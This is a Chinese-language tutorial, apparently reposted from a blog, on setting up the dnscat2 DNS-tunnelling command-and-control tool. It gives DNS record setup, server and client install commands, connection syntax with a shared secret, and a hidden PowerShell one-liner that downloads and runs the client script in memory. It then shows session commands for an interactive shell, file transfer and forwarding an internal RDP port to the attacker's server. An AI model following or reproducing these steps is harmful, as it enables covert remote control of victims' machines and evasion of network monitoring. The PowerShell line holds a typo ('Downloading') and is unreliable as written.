文章目錄
- 1 服務器端環境部署
- 1.1 部署域名決議
- 1.1.1 創建A記錄
- 1.1.2 創建NS記錄
- 1.2 安裝dnscat2服務器
- 1.3 啟動服務器
- 1.3.1 域名連接方式
- 1.3.2 直連方式
- 2 客戶端部署
- 2.1 安裝dnscat2客戶端
- 2.2 連接服務器
- 2.2.1 訪問測驗及錯誤處理
- 2.2.2 域名連接方式
- 2.2.3 直連方式
- 2.2.4 powershell連接
- 2.3 服務端常用命令
- 2.3.1 獲取一個shell
- 2.3.2 打開一個程式
1 服務器端環境部署
1.1 部署域名決議
如果要通過域名的方式訪問那么久必須部署域名決議,直連方式則跳過此步驟,
1.1.1 創建A記錄
創建一個A記錄,ns1.xxx.xxx指向vps ip地址,

查看是否生效:

1.1.2 創建NS記錄
創建一個NS記錄dnstunnel.xxx.xxx指向ns1.xxx.xxx,

1.2 安裝dnscat2服務器
在vps部署dnscat2服務器:
apt-get install gem ruby-dev libpq-dev ruby-bundler git -y
# 安裝相關依賴
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
# 安裝dnscat2

1.3 啟動服務器
有兩種方式,一直是通過域名訪問方式,另一種為直連方式,即直接訪問ip,
1.3.1 域名連接方式
ruby dnscat2.rb dnstunnel.xxx.xxx -e open -c aa8j --no-cache
-e :規定安全級別,open表示允許客戶端不加密,
-c :連接密碼
--no-cache :禁止快取

1.3.2 直連方式
ruby dnscat2.rb --dns server=127.0.0.1,port=53,type=TXT --script=aa8j
port :指定vps偵聽埠
script :指定連接密碼
2 客戶端部署
2.1 安裝dnscat2客戶端
如果是Linux:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
如果是windows:
下載鏈接:https://downloads.skullsecurity.org/dnscat2/
2.2 連接服務器
2.2.1 訪問測驗及錯誤處理
首先測驗是否能成功訪問:
./dnscat --ping dnstunnel.xxx.xxx


注意,如果遇到如以下[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE的情況:

先嘗試清空dns快取或更換dns服務器等方式,讓nslookup域名決議到正確地址:
nslookup ns1.xxx.xxx

2.2.2 域名連接方式
Linux下:
./dnscat --dns domain=dnstunnel.xxx.xxx --secret aa8j
看到回傳Session established!字樣代表成功創建了session,

此時來到服務器上,也會看到成功創建的session號為1:

windows下同理:


2.2.3 直連方式
./dnscat --dns server=<vps_ip_address>,port=53,type=TXT --secret=aa8j
效果一樣,不再演示,
2.2.4 powershell連接
在windows下還可以使用powershell連接,腳本下載地址:https://github.com/AA8j/SecTools/tree/main/dnscat2
方式一:匯入方式
Import-Module .\dnscat2.ps1
start-Dnscat2 -Domain dnstunnel.xxx.xxx -DNSServer 8.8.8.8
方式二:記憶體加載方式
powershell.exe -nop -w hidden-c {IEX(New-Object System.Net.Webclient).Downloading('https://raw.githubusercontent.com/AA8j/SecTools/main/dnscat2/dnscat2.ps1');Start-Dnscat2 -Domain dnstunnel.xxx.xxx -DNSServer 8.8.8.8}
2.3 服務端常用命令
客戶端連接后使用sessions 查看所有已經連接的session:

使用session -i 1指定進入哪個session,這里進入session 1:

進入session后,使用help查看session里可以使用的命令:

從上到下依次是:
clear :清屏
delay :修改遠程回應延時
exec :執行指定程式
shell :獲得一個互動shell,會生成一個新的session,進入后ctrl+z退出
download/upload :上傳下載檔案(速度很慢)
suspend :回傳上一層(效果同ctrl+z)
listen :本地埠轉發,如listen 0.0.0.0:3388 10.1.1.10:3389(將內網10.1.1.10的3389埠轉發到vps的3388埠)
ping :確認目標機器是否在線(回傳pong即在線)
shutdown :切斷當前會話
quit :退出dnscat2
kill <id> :結束某個session
set :設定值,如set security=open
sessions :列出所有session
session -i <id> :進入某個session
2.3.1 獲取一個shell
進入一個session后,直接輸入shell,就會在后臺生成一個新的session,這個新的session即為目標的互動式shell:



2.3.2 打開一個程式
輸入exec notepad.exe會打開記事本:


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/337971.html
標籤:其他
